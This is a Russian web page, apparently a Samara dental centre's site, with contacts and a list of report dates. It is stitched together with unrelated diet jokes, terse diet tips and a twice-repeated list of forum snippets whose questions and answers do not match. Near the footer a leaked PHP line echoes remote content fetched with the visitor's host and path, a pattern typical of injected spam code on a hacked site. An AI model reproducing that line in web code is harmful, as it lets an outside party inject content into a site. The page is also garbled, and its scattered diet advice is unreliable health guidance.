Если плавание хорошо для фигуры, объясните мне китов.
.
Полезно ли держать свою фигуру в форме?
В какой еще форме? "Шар" это тоже форма фигуры.
.
Надеюсь, эти вопросы и ответы помогли Вам избавиться от некоторых заблуждений относительно еды и диет. И запомните, жизнь НЕ должна быть путешествием в гроб с намерением доставить себя туда в прекрасной, хорошо сохранившейся форме. Жизнь скорее интересна, если не утруждать себя условностями - пиво в одной руке, шоколад в другой, тело используется на полную катушку и в конце жизни Вам кричит: "НИ ХРЕНА СЕБЕ ПРОКАТИЛИСЬ С ВЕТЕРКОМ!!! "

Ужин минус и физические нагрузки.

Закрыть холодильник на замок. ключ выкинуть

Не бывает легких диет. Главное потом не сорваться

Так как во время рисовой диеты из организма вымывается большое количество калия, то советуем вам пить его дополнительно. Самые легкие и эффективные диеты.

Диета - это способ питания всю жизнь. Считайте потребленные калории и тратьте на 500 Ккал больше в день. За месяц - минус 3-5 кг. А больше и не надо. Как сбросите лишнее - все равно не ешьте много.

Посоветуйте простую и действующую диету,но лишь бы продукты были доступны,бедной студентке

  • Льготная пенсия, диет. сестра - Сколько лет нужно проработать в сельской местности диетсестрой, что бы получить льготную пенсию???? Обратитесь в пенсион
  • Диета для таксы на сухом корме какой корм лучше - Возможно ли смешанное кормление,т.е. сухой корм+обыкновенная еда? Моя животинка так и питается, третий год уже. Здорова
  • Купить зеленый кофе киев - Посоветуйте вкусный чай (или хорошее кофе) Молочный улун Молочный пуэр ХорошИЙ КОФЕ. так же, как и ТЮЛЬ, ШАМПУНЬ-существ
  • Белковая диета при грудном вскармливании - Чем лечят коклюш деткам Антибиотики - эритромицин азитромицин В идеале послеродовая диета при грудном вскармливании долж
  • Белковая диета при лечении - Можно ли есть докторскую колбасу на белковой диете? Только если доктор лечил белок Лучше не стоит. Рыба, куриное мясо, о
  • За сколько дней можно похудеть на 3 кг. на кефире - Если пить кефир и заниматься спортом на сколько кг можно в неделю похудеть? В неделю можно похудеть, но не более чем на
  • Диета для беременных на 26 недели - Беременность 30 недель, прибавка в весе уже 17 кг, гинеколог настаивает на диете. Как было у вас и что мне посоветуете?
  • Диета для беременных как не набрать вес - Я уже с ума схожу...беременность-25 недель...хочу родить.нет вопроса.крик души.поправилась на 10 кг.можт на диету.у меня
  • Ела и похудела до 57 - Рост 167 вес 64,9,на сколько нужно похудеть? Ты кого педиком назвал? Есть маленькими порциями е порция вмещалась в одну
  • Препарат уколы для похудения - КАК ВЫЛЕЧИТЬ ОСТЕОХОНДРОЗ ? Сходите к физиотерапевту. Механотерапия - крутая штука (массажная кушетка). Очень помогает.
  • Льготная пенсия, диет. сестра - Сколько лет нужно проработать в сельской местности диетсестрой, что бы получить льготную пенсию???? Обратитесь в пенсион
  • Диета для таксы на сухом корме какой корм лучше - Возможно ли смешанное кормление,т.е. сухой корм+обыкновенная еда? Моя животинка так и питается, третий год уже. Здорова
  • Купить зеленый кофе киев - Посоветуйте вкусный чай (или хорошее кофе) Молочный улун Молочный пуэр ХорошИЙ КОФЕ. так же, как и ТЮЛЬ, ШАМПУНЬ-существ
  • Белковая диета при грудном вскармливании - Чем лечят коклюш деткам Антибиотики - эритромицин азитромицин В идеале послеродовая диета при грудном вскармливании долж
  • Белковая диета при лечении - Можно ли есть докторскую колбасу на белковой диете? Только если доктор лечил белок Лучше не стоит. Рыба, куриное мясо, о
  • За сколько дней можно похудеть на 3 кг. на кефире - Если пить кефир и заниматься спортом на сколько кг можно в неделю похудеть? В неделю можно похудеть, но не более чем на
  • Диета для беременных на 26 недели - Беременность 30 недель, прибавка в весе уже 17 кг, гинеколог настаивает на диете. Как было у вас и что мне посоветуете?
  • Диета для беременных как не набрать вес - Я уже с ума схожу...беременность-25 недель...хочу родить.нет вопроса.крик души.поправилась на 10 кг.можт на диету.у меня
  • Ела и похудела до 57 - Рост 167 вес 64,9,на сколько нужно похудеть? Ты кого педиком назвал? Есть маленькими порциями е порция вмещалась в одну
  • Препарат уколы для похудения - КАК ВЫЛЕЧИТЬ ОСТЕОХОНДРОЗ ? Сходите к физиотерапевту. Механотерапия - крутая штука (массажная кушетка). Очень помогает.
Легкие и действенные диеты
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта